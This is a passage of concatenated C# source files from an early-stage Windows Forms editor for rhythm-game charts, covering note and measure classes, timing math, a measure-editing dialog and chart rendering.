using System.Text;
using System.Threading.Tasks;
namespace RGData {
/// <summary>
/// An abstract class representing non-long notes.
/// </summary>
public abstract class ShortNote: Note {
}
}
```
MeasureEditForm.Designer.cs
```namespace OneCharter {
partial class MeasureEditForm {
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing) {
if (disposing && (components != null)) {
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent() {
this.lblSpecifyLengthIn = new System.Windows.Forms.Label();
this.cbMeasureType = new System.Windows.Forms.ComboBox();
this.lblNumMeasures = new System.Windows.Forms.Label();
this.inNumMeasures = new System.Windows.Forms.NumericUpDown();
this.inGroupBeats = new System.Windows.Forms.NumericUpDown();
this.inQuantBeat = new System.Windows.Forms.NumericUpDown();
this.lblTimeSignature = new System.Windows.Forms.Label();
this.lblLengthInMS = new System.Windows.Forms.Label();
this.inLengthInMS = new System.Windows.Forms.TextBox();
this.btnInsert = new System.Windows.Forms.Button();
this.btnCancel = new System.Windows.Forms.Button();
((System.ComponentModel.ISupportInitialize)(this.inNumMeasures)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.inGroupBeats)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.inQuantBeat)).BeginInit();
this.SuspendLayout();
//
// lblSpecifyLengthIn
//
this.lblSpecifyLengthIn.AutoSize = true;
this.lblSpecifyLengthIn.Location = new System.Drawing.Point(12, 9);
this.lblSpecifyLengthIn.Name = "lblSpecifyLengthIn";
this.lblSpecifyLengthIn.Size = new System.Drawing.Size(103, 12);
this.lblSpecifyLengthIn.TabIndex = 0;
this.lblSpecifyLengthIn.Text = "Specify length in:";
//
// cbMeasureType
//
this.cbMeasureType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cbMeasureType.FormattingEnabled = true;
this.cbMeasureType.Items.AddRange(new object[] {
"milliseconds",
"# of beats"});
this.cbMeasureType.Location = new System.Drawing.Point(129, 6);
this.cbMeasureType.Name = "cbMeasureType";
this.cbMeasureType.Size = new System.Drawing.Size(124, 20);
this.cbMeasureType.TabIndex = 1;
this.cbMeasureType.SelectedIndexChanged += new System.EventHandler(this.cbMeasureType_SelectedIndexChanged);
//
// lblNumMeasures
//
this.lblNumMeasures.AutoSize = true;
this.lblNumMeasures.Location = new System.Drawing.Point(12, 46);
this.lblNumMeasures.Name = "lblNumMeasures";
this.lblNumMeasures.Size = new System.Drawing.Size(90, 12);
this.lblNumMeasures.TabIndex = 2;
this.lblNumMeasures.Text = "# of measures:";
//
// inNumMeasures
//
this.inNumMeasures.Location = new System.Drawing.Point(129, 44);
this.inNumMeasures.Name = "inNumMeasures";
this.inNumMeasures.Size = new System.Drawing.Size(45, 21);
this.inNumMeasures.TabIndex = 3;
//
// inGroupBeats
//
this.inGroupBeats.Location = new System.Drawing.Point(129, 118);
this.inGroupBeats.Name = "inGroupBeats";
this.inGroupBeats.Size = new System.Drawing.Size(45, 21);
this.inGroupBeats.TabIndex = 4;
this.inGroupBeats.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
//
// inQuantBeat
//
this.inQuantBeat.Location = new System.Drawing.Point(129, 145);
this.inQuantBeat.Name = "inQuantBeat";
this.inQuantBeat.Size = new System.Drawing.Size(45, 21);
this.inQuantBeat.TabIndex = 5;
this.inQuantBeat.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
//
// lblTimeSignature
//
this.lblTimeSignature.AutoSize = true;
this.lblTimeSignature.Location = new System.Drawing.Point(12, 136);
this.lblTimeSignature.Name = "lblTimeSignature";
this.lblTimeSignature.Size = new System.Drawing.Size(94, 12);
this.lblTimeSignature.TabIndex = 6;
this.lblTimeSignature.Text = "Time signature:";
//
// lblLengthInMS
//
this.lblLengthInMS.AutoSize = true;
this.lblLengthInMS.Location = new System.Drawing.Point(12, 86);
this.lblLengthInMS.Name = "lblLengthInMS";
this.lblLengthInMS.Size = new System.Drawing.Size(93, 12);
this.lblLengthInMS.TabIndex = 7;
this.lblLengthInMS.Text = "Length (in ms):";
//
// inLengthInMS
//
this.inLengthInMS.Location = new System.Drawing.Point(111, 83);
this.inLengthInMS.Name = "inLengthInMS";
this.inLengthInMS.Size = new System.Drawing.Size(63, 21);
this.inLengthInMS.TabIndex = 8;
//
// btnInsert
//
this.btnInsert.Location = new System.Drawing.Point(194, 118);
this.btnInsert.Name = "btnInsert";
this.btnInsert.Size = new System.Drawing.Size(59, 21);
this.btnInsert.TabIndex = 9;
this.btnInsert.Text = "Insert";
this.btnInsert.UseVisualStyleBackColor = true;
this.btnInsert.Click += new System.EventHandler(this.btnInsert_Click);
//
// btnCancel
//
this.btnCancel.Location = new System.Drawing.Point(194, 145);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(59, 21);
this.btnCancel.TabIndex = 10;
this.btnCancel.Text = "Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
//
// MeasureEditForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(265, 172);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.btnInsert);
this.Controls.Add(this.inLengthInMS);
this.Controls.Add(this.lblLengthInMS);
this.Controls.Add(this.lblTimeSignature);
this.Controls.Add(this.inQuantBeat);
this.Controls.Add(this.inGroupBeats);
this.Controls.Add(this.inNumMeasures);
this.Controls.Add(this.lblNumMeasures);
this.Controls.Add(this.cbMeasureType);
this.Controls.Add(this.lblSpecifyLengthIn);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Name = "MeasureEditForm";
this.Text = "Create/Edit a measure...";
((System.ComponentModel.ISupportInitialize)(this.inNumMeasures)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.inGroupBeats)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.inQuantBeat)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label lblSpecifyLengthIn;
private System.Windows.Forms.ComboBox cbMeasureType;
private System.Windows.Forms.Label lblNumMeasures;
private System.Windows.Forms.NumericUpDown inNumMeasures;
private System.Windows.Forms.NumericUpDown inGroupBeats;
private System.Windows.Forms.NumericUpDown inQuantBeat;
private System.Windows.Forms.Label lblTimeSignature;
private System.Windows.Forms.Label lblLengthInMS;
private System.Windows.Forms.TextBox inLengthInMS;
private System.Windows.Forms.Button btnInsert;
private System.Windows.Forms.Button btnCancel;
}
}```
BeatMeasure.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData {
public class BeatMeasure: Measure {
protected int quantBeat = 1;
/// <summary>Unit beat size</summary>
public int QuantBeat { get => quantBeat; set => Fine(value); }
/// <summary>Amount of 4th notes in this measure.</summary>
public double QuadLength { get => totalBeats * 4.0d / quantBeat; }
/// <summary>Amount of whole(1st) notes in this measure.</summary>
public double WholeLength { get => (double) (totalBeats) / quantBeat; }
public BeatMeasure(int quantBeat = 4): this(quantBeat, quantBeat) {}
public BeatMeasure(int quantBeat, int groupBeats): this(quantBeat, groupBeats, groupBeats) {}
public BeatMeasure(int quantBeat, int groupBeats, int totalBeats) {
this.quantBeat = quantBeat;
this.groupBeats = groupBeats;
Extend(totalBeats);
}
internal void Fine(int adjustQuant) {
if (adjustQuant == quantBeat) return;
int multiplier = adjustQuant / Util.GCD(quantBeat, adjustQuant);
SortedList<int, ISet<Element>> newList = new SortedList<int, ISet<Element>>();
foreach (var pair in elements) {
newList.Add(pair.Key * multiplier, pair.Value);
}
elements = newList;
quantBeat *= multiplier;
groupBeats *= multiplier;
totalBeats *= multiplier;
}
internal void Coarsen() {
int divider = Util.GCD(quantBeat, groupBeats);
divider = Util.GCD(divider, totalBeats);
if (divider == 1) return;
foreach (int time in elements.Keys) {
divider = Util.GCD(divider, time);
if (divider == 1) return;
}
quantBeat /= divider;
groupBeats /= divider;
totalBeats /= divider;
SortedList<int, ISet<Element>> newList = new SortedList<int, ISet<Element>>();
foreach (var pair in elements) {
newList.Add(pair.Key / divider, pair.Value);
}
elements = newList;
}
}
}
```
ChartFile.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData {
/// <summary>
/// A chart with metadata
/// </summary>
public class ChartFile {
protected Chart chart;
public Chart Chart { get => chart; }
public double Length { get => chart.Length; }
/// <summary>Timestamp of the audio file when the chart starts</summary>
public int Offset = 0;
public Dictionary<string, string> MetaData;
public ChartFile() {
chart = new Chart();
MetaData = new Dictionary<string, string>();
}
public static ChartFile GetTestChartFile() {
ChartFile f = new ChartFile();
Segment segment = new Segment();
segment.BPM = 120;
BeatMeasure measure = new BeatMeasure(4);
measure.Add(new GC.GCDualTapNote(), 0);
measure.Add(new GC.GCTapNote(), 1);
measure.Add(new GC.GCTapNote(), 2);
measure.Add(new GC.GCTapNote(), 3);
segment.Append(measure);
measure = new BeatMeasure(8);
measure.Add(new GC.GCDualTapNote(), 0);
measure.Add(new GC.GCTapNote(), 1);
measure.Add(new GC.GCTapNote(), 2);
measure.Add(new GC.GCTapNote(), 3);
measure.Add(new GC.GCDualTapNote(), 4);
segment.Append(measure);
f.Chart.Append(segment);
return f;
}
}
}
```
Note.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData {
/// <summary>
/// An abstract class representing every kinds of notes.
/// </summary>
public abstract class Note: Element {
}
}
```
GCShortNote.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData.GC {
public abstract class GCShortNote : ShortNote {
// TODO: put stuffs related to note display
}
}
```
Util.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData {
public static class Util {
public static int GCD(int a, int b) {
if (a == b) return a;
if (a == 1 || b == 1) return 1;
if (a == 0) return b;
if (b == 0) return a;
if (a % b == 0) return b;
return GCD(b, a % b);
}
public static ulong GCD(ulong a, ulong b) {
if (a == b) return a;
if (a == 1 || b == 1) return 1;
if (a == 0) return b;
if (b == 0) return a;
if (a % b == 0) return b;
return GCD(b, a % b);
}
public static int LCM(int a, int b) {
if (a == b) return a;
return a / GCD(a, b) * b;
}
public static ulong LCM(ulong a, ulong b) {
if (a == b) return a;
return a / GCD(a, b) * b;
}
}
}
```
MeasureEditForm.cs
```using RGData;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace OneCharter {
public partial class MeasureEditForm : Form {
protected enum MeasureType {
OFFSET = 0,
BEAT = 1
}
/// <summary>false: creating, true: editing</summary>
protected bool isEditing;
public bool IsEditing {
get => isEditing;
}
/// <summary>The measure which is being edited.</summary>
protected Measure measure;
public Measure Measure {
get => measure;
set {
// Just in case.
DialogResult = DialogResult.Cancel;
if(value == null) {
// Create a new measure.
isEditing = false;
measure = CreateDefaultMeasure();
} else {
// Editing this measure... fill the values
isEditing = true;
measure = value;
}
// Fill the values based on the measure.
inNumMeasures.Value = measure.TotalBeats / measure.GroupBeats;
if(measure is BeatMeasure bMeasure) {
cbMeasureType.SelectedIndex = (int) MeasureType.BEAT;
inQuantBeat.Value = bMeasure.QuantBeat;
inGroupBeats.Value = bMeasure.GroupBeats;
}else if(measure is OffsetMeasure oMeasure) {
cbMeasureType.SelectedIndex = (int) MeasureType.OFFSET;
inLengthInMS.Text = oMeasure.UnitLength.ToString();
} else {
throw new NotImplementedException();
}
}
}
/// <summary>Creates and returns the default measure.</summary>
/// <returns>The default measure object.</returns>
private Measure CreateDefaultMeasure() {
return new BeatMeasure(4);
}
public MeasureEditForm() {
InitializeComponent();
Measure = null;
}
/// <summary>
/// Apply changes made using GUI to the measure.
/// </summary>
/// <returns>Whether the input is valid.</returns>
protected bool ApplyChanges() {
if (isEditing) throw new NotImplementedException();
switch((MeasureType) cbMeasureType.SelectedIndex) {
case MeasureType.OFFSET:
try {
double d = double.Parse(inLengthInMS.Text);
measure = new OffsetMeasure(d, (int) inNumMeasures.Value);
} catch {
return false;
}
break;
case MeasureType.BEAT:
try {
measure = new BeatMeasure(
(int) inQuantBeat.Value,
(int) inGroupBeats.Value,
(int) inGroupBeats.Value * (int) inNumMeasures.Value);
} catch {
return false;
}
break;
default:
throw new NotImplementedException();
}
return true;
}
private void cbMeasureType_SelectedIndexChanged(object sender, EventArgs e) {
inLengthInMS.Enabled = inQuantBeat.Enabled = inGroupBeats.Enabled = false;
switch ((MeasureType) cbMeasureType.SelectedIndex) {
case MeasureType.OFFSET:
inLengthInMS.Enabled = true;
break;
case MeasureType.BEAT:
inQuantBeat.Enabled = inGroupBeats.Enabled = true;
break;
default:
throw new NotImplementedException();
}
}
private void btnInsert_Click(object sender, EventArgs e) {
if (ApplyChanges()) {
DialogResult = DialogResult.OK;
}
Close();
}
}
}
```
Element.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace RGData {
/// <summary>
/// An abstract class representing things on a chart.
/// </summary>
public abstract class Element {
/// <summary>Returns whether given two elements cannot occur at the same time.</summary>
/// <param name="other">The other element.</param>
/// <returns>Whether this element and the other element occupies same space.</returns>
public abstract bool OccupiesSamePlace(Element other);
public static bool Collides(Element a, Element b) {
if (a is Note != b is Note) return false;
return a.OccupiesSamePlace(b) || b.OccupiesSamePlace(a);
}
}
}
```
GCDualTapNote.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData.GC {
/// <summary>
/// A normal note for GrooveCoaster
/// </summary>
public class GCDualTapNote : GCShortNote {
public GCDualTapNote() {}
public override bool OccupiesSamePlace(Element other) {
if (!(other is Note)) return false;
return true;
}
}
}
```
EditView.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using RGData;
using System.Windows.Forms;
using System.Drawing;
using OneCharter.Timing;
using System.Diagnostics;
namespace OneCharter {
partial class EditView {
// Graphics
private BufferedGraphicsContext gContext;
private BufferedGraphics bufferedGraphics;
private object gLock = new object();
protected Control viewPanel;
// Chart
protected ChartFile chartFile;
// Cursors
protected Chart.Location cursorLocation;
// Timer for playback
protected HexaTimer timer;
/// <summary>End time for playback</summary>
private double maxTime = 0;
/// <summary>The chart file which is currently viewed</summary>
public ChartFile ChartFile {
get => chartFile;
set {
chartFile = value;
cursorLocation = Chart.CreateLocation();
}
}
/// <summary>The chart which is currently viewed</summary>
public Chart Chart { get => chartFile.Chart; }
/// <summary>Display scale (pixel for a 4th note)</summary>
public float PixelPerQuad = 80;
// protected ChartTime currentLocation = new ChartTime(null);
/// <summary>Current time (relative to the chart, not the audio)</summary>
public double CurrentTime { get => cursorLocation.Time; } // TODO: make a setter
// public ChartTime CurrentLocation { get => currentLocation; }
/// <summary>Desired FPS to draw</summary>
public double FPS = 45;
protected bool isPlaying = false;
/// <summary>Whether the editor is currently playing (scrolling)</summary>
public bool IsPlaying { get => isPlaying; } // TODO: make a setter (play / pause)
/// <summary>The y coordinate of the start of the chart, relative to the cursor.</summary>
public float CurrentScrollY { get {
return PixelPerQuad * (float) cursorLocation.TimeInQuad;
}}
public EditView(Control view) {
viewPanel = view;
InitView();
timer = new HexaTimer(1000d / FPS);
timer.Tick += Tick;
ChartFile = ChartFile.GetTestChartFile();
Paint();
}
private void InitView() {
gContext = BufferedGraphicsManager.Current;
gContext.MaximumBuffer = new Size(viewPanel.Width + 1, viewPanel.Height + 1);
viewPanel.Paint += new PaintEventHandler(PaintView);
viewPanel.Resize += new EventHandler(OnResizeView);
bufferedGraphics = gContext.Allocate(viewPanel.CreateGraphics(), new Rectangle(0, 0, viewPanel.Width, viewPanel.Height));
}
private void PaintView(object sender, PaintEventArgs e) {
lock (gLock) {
bufferedGraphics.Render(e.Graphics);
}
}
private void OnResizeView(object sender, EventArgs e) {
gContext.MaximumBuffer = new Size(viewPanel.Width+1, viewPanel.Height+1);
lock (gLock) {
bufferedGraphics?.Dispose();
bufferedGraphics = gContext.Allocate(viewPanel.CreateGraphics(), new Rectangle(0, 0, viewPanel.Width, viewPanel.Height));
}
Paint();
}
private void Tick(object sender, HexaTickEventArgs e) {
if (!isPlaying) {
// Should not happen
timer.Stop(); return;
}
bool stopTimer = false;
if (e.CurrentTime > maxTime) {
cursorLocation.Time = 0;
stopTimer = true;
} else {
cursorLocation.Time = e.CurrentTime;
}
Paint();
if (stopTimer) {
Pause();
}
}
public event EventHandler StartPlaying, StopPlaying;
}
}
```
EditView.Render.cs
```using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using RGData;
namespace OneCharter {
partial class EditView {
private static Sprite GetSprite(Element element) {
switch (element) {
case RGData.GC.GCDualTapNote x:
return SpGCDualTapNote;
case RGData.GC.GCTapNote x:
return SPGCTapNote;
default:
return Sprite.Empty;
}
}
/// <summary>Draws the current chart to the graphics buffer.</summary>
public void Paint() {
lock (gLock) {
Graphics graphics = bufferedGraphics.Graphics;
DrawChartOn(graphics);
}
viewPanel.Invalidate();
}
/// <summary>Draw the chart on a graphics.</summary>
/// <param name="g">The graphics which the chart will be drawn on.</param>
protected void DrawChartOn(Graphics g) {
float centerX = viewPanel.Width / 2;
float centerY = viewPanel.Height - PixelPerQuad * LOOKBEHIND_AMOUNT;
g.Clear(Color.White);
g.TranslateTransform(centerX, centerY);
float lookahead = centerY + DRAW_MARGIN;
float lookbehind = PixelPerQuad * LOOKBEHIND_AMOUNT + DRAW_MARGIN;
// Centerline
g.DrawLine(PEN_CENTERLINE, 0, -lookahead, 0, lookbehind);
if (chartFile?.Chart == null) return;
// The Y coordinate of the first element
float scrollY = CurrentScrollY;
// TODO: only draw the measures on the screen
// Where the current measure being drawn starts
float measureStartY = scrollY;
Action<Pen, int, float> DrawLineAt = (Pen pen, int width, float yCoord) => {
g.DrawLine(pen, -width / 2, yCoord, width / 2, yCoord);
};
Action<Pen, int> DrawLine = (Pen pen, int width) => DrawLineAt(pen, width, measureStartY);
foreach (Segment segment in chartFile.Chart.Segments) {
DrawLine(PEN_SEGMENT, WIDTH_SEGMENT);
bool isFirstMeasure = true;
foreach (Measure measure in segment.Measures) {
// Draw the beginnng point of the measure
if (isFirstMeasure) {
DrawLine(PEN_MEASURE, WIDTH_MEASURE);
isFirstMeasure = false;
}
// Draw the beatlines and elemenets
float beatInterval;
switch (measure) {
case BeatMeasure bMeasure:
beatInterval = PixelPerQuad * 4.0f / bMeasure.QuantBeat;
break;
case OffsetMeasure oMeasure:
beatInterval = PixelPerQuad * (float)(oMeasure.UnitLength / segment.MSPQ);
break;
default:
throw new NotImplementedException();
}
for (int i = 1; i < measure.TotalBeats; i++) {
if (i % measure.GroupBeats == 0) {
DrawLineAt(PEN_MEASURE, WIDTH_MEASURE, measureStartY - beatInterval * i);
} else {
DrawLineAt(PEN_BEAT, WIDTH_BEAT, measureStartY - beatInterval * i);
}
}
// Draw the elemenets
foreach (var elementTuple in measure.Elements) {
GetSprite(elementTuple.Item2).DrawOn(g, 0, measureStartY - beatInterval * elementTuple.Item1);
}
measureStartY -= PixelPerQuad * (float) segment.QuadLengthOf(measure);
DrawLine(PEN_MEASURE, WIDTH_MEASURE);
}
}
// Where the current point is
DrawLineAt(PEN_CURSOR, WIDTH_CURSOR, 0);
g.TranslateTransform(-centerX, -centerY);
}
#region Sprites
private static readonly Sprite SpGCDualTapNote = new Sprite(Properties.Resources.GCDualTapNote);
private static readonly Sprite SPGCTapNote = new Sprite(Properties.Resources.GCTapNote);
#endregion
#region Drawing constants
private static readonly int WIDTH_SEGMENT = 100;
private static readonly int WIDTH_MEASURE = 80;
private static readonly int WIDTH_BEAT = 40;
private static readonly int WIDTH_CURSOR = 40;
private static readonly int DRAW_MARGIN = 100;
private static readonly float LOOKBEHIND_AMOUNT = 4.0f;
#endregion
#region Pens for drawing
private static readonly Pen PEN_CENTERLINE = new Pen(Color.Gray, 1.0f);
private static readonly Pen PEN_SEGMENT = new Pen(Color.Green, 2.0f);
private static readonly Pen PEN_MEASURE = new Pen(Color.Black, 1.0f);
private static readonly Pen PEN_BEAT = new Pen(Color.Gray, 1.0f);
private static readonly Pen PEN_CURSOR = new Pen(Color.Red, 0.5f);
#endregion
}
}
```
AssemblyInfo.cs
```using System.Resources;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 어셈블리에 대한 일반 정보는 다음 특성 집합을 통해
// 제어됩니다. 어셈블리와 관련된 정보를 수정하려면
// 이러한 특성 값을 변경하세요.
[assembly: AssemblyTitle("OneCharter")]
[assembly: AssemblyDescription(@"
An editor for generic rhythm games.
Icons: vaadin / vaadin - icons on GitHub
")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("JiminP (@123jimin on GitHub)")]
[assembly: AssemblyProduct("OneCharter")]
[assembly: AssemblyCopyright("Copyright ©2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// ComVisible을 false로 설정하면 이 어셈블리의 형식이 COM 구성 요소에
// 표시되지 않습니다. COM에서 이 어셈블리의 형식에 액세스하려면
// 해당 형식에 대해 ComVisible 특성을 true로 설정하세요.
[assembly: ComVisible(false)]
// 이 프로젝트가 COM에 노출되는 경우 다음 GUID는 typelib의 ID를 나타냅니다.
[assembly: Guid("af1747be-443c-4604-8fe1-14c2d25343c4")]
// 어셈블리의 버전 정보는 다음 네 가지 값으로 구성됩니다.
//
// 주 버전
// 부 버전
// 빌드 번호
// 수정 버전
//
// 모든 값을 지정하거나 아래와 같이 '*'를 사용하여 빌드 번호 및 수정 번호가 자동으로
// 지정되도록 할 수 있습니다.
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("0.0.1.*")]
[assembly: AssemblyFileVersion("0.0.1.0")]
[assembly: NeutralResourcesLanguage("en-US")]
```
Chart.Location.cs
```using System;
namespace RGData {
public partial class Chart {
public class Location {
protected Chart chart;
// Current time (cache purpose)
private double time = 0.0d;
// Current location (main)
internal int segmentIndex;
internal Segment segment;
internal int measureIndex;
internal Measure measure;
internal int beat;
internal double beatOffset;
#region Getters and Setters for a location
/// <summary>The measure containing this location</summary>
public Measure Measure { get => measure; }
/// <summary>The segment containing this location</summary>
public Segment Segment { get => segment; }
/// <summary>The beat (in a measure) for this location</summary>
public int Beat { get => beat; }
/// <summary>The offset from the last beat before this location</summary>
public double BeatOffset { get => beatOffset; }
/// <summary>The time (in ms) from the beginning of the chart, for this location</summary>
public double Time {
get => time;
set {
// TODO: checks whether (value - time) is small enough to compute indices easily.
SetTime(value);
}
}
/// <summary># of quads from the beginning of the chart, for this location</summary>
public double TimeInQuad {
get {
double quads = 0.0d;
for (int i = 0; i < segmentIndex; i++) quads += chart.Segments[i].QuadCount;
for (int i = 0; i < measureIndex; i++) quads += segment.QuadLengthOf(segment.Measures[i]);
switch (measure) {
case BeatMeasure bMeasure:
quads += beat * (4.0d / bMeasure.QuantBeat) + beatOffset / segment.MSPQ;
break;
case OffsetMeasure oMeasure:
quads += (beat * oMeasure.UnitLength + beatOffset) / segment.MSPQ;
break;
default:
throw new NotImplementedException();
}
return quads;
}
}
/// <summary>The unit time for this location (in forward direction)</summary>
public double UnitTime {
get => segment.BeatLengthOf(measure);
}
#endregion Getters and Setters for a location
#region Constructors
/// <summary>Create a new location, pointing the beginning of a view.</summary>
/// <param name="chart">The chart which this location will use.</param>
public Location(Chart chart) : this(chart, 0.0d) { }
/// <summary>Copy an existing location.</summary>
/// <param name="location">The location which will be cloned.</param>
public Location(Location location) : this(location.chart, location) { }
/// <summary>Create a new location given time in ms.</summary>
/// <param name="chart">The chart which this location will use.</param>
/// <param name="time">The time in ms which this location will be pointing.</param>
public Location(Chart chart, double time) {
this.chart = chart;
Time = time;
}
/// <summary>Create a new location based on an existing location.</summary>
/// <param name="chart">The chart which this location will use.</param>
/// <param name="location">A location which this location will be pointing.</param>
public Location(Chart chart, Location location) {
if (!ReferenceEquals(chart, location.chart)) {
// We can ignore this problem though...
throw new ArgumentException("The view and the location for Location constructor should match!");
}
this.chart = chart;
time = location.time;
SetLocation(location.segmentIndex, location.measureIndex, location.beat, location.beatOffset);
}
#endregion Constructors
#region Public queries
public override string ToString() {
return $"[Location s{segmentIndex}:m{measureIndex}:b{beat} + {beatOffset}]";
}
/// <summary>Returns a representation string, readable by a human.</summary>
/// <returns>A readable representation of this location.</returns>
public string ToRepr() {
string beatString;
switch (measure) {
case BeatMeasure bMeasure:
beatString = $"({beat} of {bMeasure.TotalBeats}) / {bMeasure.QuantBeat}";
break;
case OffsetMeasure oMeasure:
beatString = $"{oMeasure.UnitLength}ms x {beat} of {oMeasure.TotalBeats}";
break;
default:
throw new NotImplementedException();
}
return $"Segment {segmentIndex+1}, Measure {measureIndex+1}, {beatString}";
}
/// <summary>Returns whether this location is in the very first measure.</summary>
/// <returns>Whether this location is in the very first measure.</returns>
public bool IsFirstMeasure() {
return segmentIndex == 0 && measureIndex == 0;
}
/// <summary>Returns whether this location is in or after the very last measure.</summary>
/// <returns>Whether this location is in or after the very last measure.</returns>
public bool IsLastMeasure() {
return segmentIndex == chart.Segments.Count - 1 && measureIndex == segment.Measures.Count - 1;
}
/// <summary>Returns whether this location is at a beginning of a measure.</summary>
/// <returns>Whether this location is at a beginning of a measure.</returns>
public bool IsAtBeginningOfAMeasure() {
return beat == 0 && beatOffset == 0.0d;
}
/// <summary>Returns the previous measure of the measure this location is in.</summary>
/// <returns>The last measure before the measure with this location,
/// or the first measure if such measure does not exist.</returns>
public Measure LastMeasureBeforeThis() {
if (IsFirstMeasure() || measureIndex > 0) return measure;
var prevSegMeasures = chart.segments[segmentIndex - 1].Measures;
if(prevSegMeasures.Count == 0) {
// Look up previous segments.
// This should not occur in normal conditions.
throw new NotImplementedException();
}
return prevSegMeasures[prevSegMeasures.Count - 1];
}
#endregion
#region Public operations
/// <summary>Snaps the location to the last beat before this location.</summary>
public void RemoveBeatOffset() {
time -= beatOffset;
beatOffset = 0.0d;
}
/// <summary>Move to the next beat.</summary>
public void GoNextBeat() {
RemoveBeatOffset();
time += UnitTime; beat++;
HandleOverflow();
// TODO: check that time is updated correctly.
}
/// <summary>Move to the previous beat.</summary>
public void GoPrevBeat() {
if (beatOffset > 0.0d) {
RemoveBeatOffset(); return;
}
if (!IsFirstMeasure() || beat > 0) beat--;
HandleUnderflow();
// TODO: do not recompute time from scratch.
RecomputeTime();
}
#endregion Public operations
#region Comparisons
public override bool Equals(object obj) {
Location that = obj as Location;
if (that == null) return false;
return this == that;
}
public override int GetHashCode() {
NormalizeIndices();
int hash = 0x10CA7109;
hash ^= segmentIndex * 0x1001;
hash ^= measureIndex * 0xFFF;
hash ^= beat * 0x81;
hash ^= beatOffset.GetHashCode();
return hash;
}
public static bool operator ==(Location l1, Location l2) {
l1.NormalizeIndices(); l2.NormalizeIndices();
if (l1.segmentIndex != l2.segmentIndex || l1.measureIndex != l2.measureIndex) return false;
if (l1.beat != l2.beat || l1.beatOffset != l2.beatOffset) return false;
return true;
}
public static bool operator !=(Location l1, Location l2) {
return !(l1 == l2);
}
public static bool operator >(Location l1, Location l2) {
l1.NormalizeIndices(); l2.NormalizeIndices();
if (l1.segmentIndex < l2.segmentIndex) return false;
if (l1.segmentIndex > l2.segmentIndex) return true;
if (l1.measureIndex < l2.measureIndex) return false;
if (l1.measureIndex > l2.measureIndex) return true;
if (l1.beat < l2.beat) return false;
if (l1.beat > l2.beat) return true;
return l1.beatOffset > l2.beatOffset;
}
public static bool operator >=(Location l1, Location l2) {
l1.NormalizeIndices(); l2.NormalizeIndices();
if (l1.segmentIndex < l2.segmentIndex) return false;
if (l1.segmentIndex > l2.segmentIndex) return true;
if (l1.measureIndex < l2.measureIndex) return false;
if (l1.measureIndex > l2.measureIndex) return true;
if (l1.beat < l2.beat) return false;
if (l1.beat > l2.beat) return true;
return l1.beatOffset >= l2.beatOffset;
}
public static bool operator <(Location l1, Location l2) {
return l2 > l1;
}
public static bool operator <=(Location l1, Location l2) {
return l2 >= l1;
}
#endregion
/// <summary>Recomputes Time based on current location (segment / measure).</summary>
internal void RecomputeTime() {
time = 0.0d;
for (int i = 0; i < segmentIndex; i++) {
time += chart.Segments[i].Length;
}
for (int i = 0; i < measureIndex; i++) {
time += segment.LengthOf(i);
}
time += beat * segment.BeatLengthOf(measureIndex);
time += beatOffset;
}
/// <summary>Sets `segment` from `measure` from indices.</summary>
private void ApplyIndices() {
if (chart.Segments.Count == 0) {
segmentIndex = measureIndex = 0;
segment = null; measure = null;
return;
}
ApplySegmentIndex();
ApplyMeasureIndex();
}
private void ApplySegmentIndex() {
segment = chart.Segments[segmentIndex];
}
private void ApplyMeasureIndex() {
measure = segment.Measures[measureIndex];
}
/// <summary>Sets the location from indices, <b>without handling out-of-bound indices</b>.
/// These four numbers fully determine a location on a chart.</summary>
private void SetLocation(int segmentIndex, int measureIndex, int beat, double beatOffset) {
this.segmentIndex = segmentIndex;
this.measureIndex = measureIndex;
this.beat = beat;
this.beatOffset = beatOffset;
ApplyIndices();
}
/// <summary>Moves the location to given value by recomputing indices.</summary>
/// <param name="time">Time in ms</param>
protected void SetTime(double time) {
this.time = time;
// Edge case: no segments at all...?
if (chart.Segments.Count == 0) {
SetLocation(0, 0, 0, time);
return;
}
